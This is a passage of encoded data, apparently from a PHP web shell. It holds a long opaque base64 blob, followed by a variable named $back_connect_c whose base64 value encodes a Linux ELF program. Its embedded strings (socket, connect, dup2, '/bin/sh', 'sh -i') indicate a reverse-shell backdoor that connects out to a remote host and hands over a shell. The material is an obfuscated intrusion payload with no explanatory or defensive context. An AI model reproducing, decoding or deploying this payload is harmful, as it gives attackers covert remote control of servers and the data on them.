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"; + +$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+DxBCJRcyD7AiLRQyDwASD7AT/MOgI/v//g8QIicOLRQyDwAiD7AT/MOjz/f//g8QIjQQDQFCLRQyDwAT/MOgu/v//g8QQg+wEagZqAWoC6G3+//+DxBCJReSD7ARqEI1FyFD/deToRv7//4PEEIXAeRqD7AxoCYkECOhy/f//g8QQg+wMagDo9f3//4PsCItFDP8wjUWoUOjE/f//g8QQg+wMjUWoUOhV/f//g8QQg+wIagD/deTolf3//4PEEIPsCGoB/3Xk6IX9//+DxBCD7AhqAv915Oh1/f//g8QQg+wEagBoF4kECGgdiQQI6N78//+DxBCD7Az/deTo4Pz//4PEEI1l9FteX8nDkFWJ5VdWU4PsDOgAAAAAW4HD6hEAAOiC/P//jYMg////jZMg////iUXwKdAx9sH4AjnGcxaJ14n2/xSyi03wKflGwfkCOc6J+nLug8QMW15fycOJ9lWJ5VdWU+gAAAAAW4HDmREAAI2DIP///427IP///yn4wfgCg+wMjXD/6wWQ/xS3ToP+/3X36C4AAACDxAxbXl/Jw5CQVYnlU1K7LJkECKEsmQQI6wqNdgCD6wT/0IsDg/j/dfRYW8nDVYnlU+gAAAAAW4HDMxEAAFDoOv3//1lbycMAAAMAAAABAAIAcm0gLWYgAAAAAAAAAAAAAAAAAAAAWy1dIGNvbm5lY3QoKQBzaCAtaQAvYmluL3NoAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAEAAAAkAAAADAAAALCEBAgNAAAA0IgECAQAAABIgQQIBQAAACSDBAgGAAAA5IEECAoAAAC8AAAACwAAABAAAAAVAAAAAAAAAAMAAAAMmgQIAgAAAIAAAAAUAAAAEQAAABcAAAAwhAQIEQAAACiEBAgSAAAACAAAABMAAAAIAAAA/v//bwiEBAj///9vAQAAAPD//2/ggwQIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECZBAgAAAAAAAAAAN6EBAjuhAQI/oQECA6FBAgehQQILoUECD6FBAhOhQQIXoUECG6FBAh+hQQIjoUECJ6FBAiuhQQIvoUECM6FBAgAAAAAAAAAADiZBAgAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAQAAAAIAAAAUgQQIFAEAABMAAAAAAAAAAAAAAAEAAAAAAAAAIwAAAAcAAAACAAAAKIEECCgBAAAgAAAAAAAAAAAAAAAEAAAAAAAAADEAAAAFAAAAAgAAAEiBBAhIAQAAnAAAAAQAAAAAAAAABAAAAAQAAAA3AAAACwAAAAIAAADkgQQI5AEAAEABAAAFAAAAAQAAAAQAAAAQAAAAPwAAAAMAAAACAAAAJIMECCQDAAC8AAAAAAAAAAAAAAABAAAAAAAAAEcAAAD///9vAgAAAOCDBAjgAwAAKAAAAAQAAAAAAAAAAgAAAAIAAABUAAAA/v//bwIAAAAIhAQICAQAACAAAAAFAAAAAQAAAAQAAAAAAAAAYwAAAAkAAAACAAAAKIQECCgEAAAIAAAABAAAAAAAAAAEAAAACAAAAGwAAAAJAAAAAgAAADCEBAgwBAAAgAAAAAQAAAALAAAABAAAAAgAAAB1AAAAAQAAAAYAAACwhAQIsAQAABcAAAAAAAAAAAAAAAQAAAAAAAAAcAAAAAEAAAAGAAAAyIQECMgEAAAQAQAAAAAAAAAAAAAEAAAABAAAAHsAAAABAAAABgAAANiFBAjYBQAA+AIAAAAAAAAAAAAABAAAAAAAAACBAAAAAQAAAAYAAADQiAQI0AgAABoAAAAAAAAAAAAAAAQAAAAAAAAAhwAAAAEAAAACAAAA7IgECOwIAAA5AAAAAAAAAAAAAAAEAAAAAAAAAI8AAAABAAAAAgAAACiJBAgoCQAABAAAAAAAAAAAAAAABAAAAAAAAACZAAAAAQAAAAMAAAAsmQQILAkAAAgAAAAAAAAAAAAAAAQAAAAAAAAAoAAAAAEAAAADAAAANJkECDQJAAAIAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAABAAAAAwAAADyZBAg8CQAABAAAAAAAAAAAAAAABAAAAAAAAACsAAAABgAAAAMAAABAmQQIQAkAAMgAAAAFAAAAAAAAAAQAAAAIAAAAtQAAAAEAAAADAAAACJoECAgKAAAEAAAAAAAAAAAAAAAEAAAABAAAALoAAAABAAAAAwAAAAyaBAgMCgAATAAAAAAAAAAAAAAABAAAAAQAAADDAAAAAQAAAAMAAABYmgQIWAoA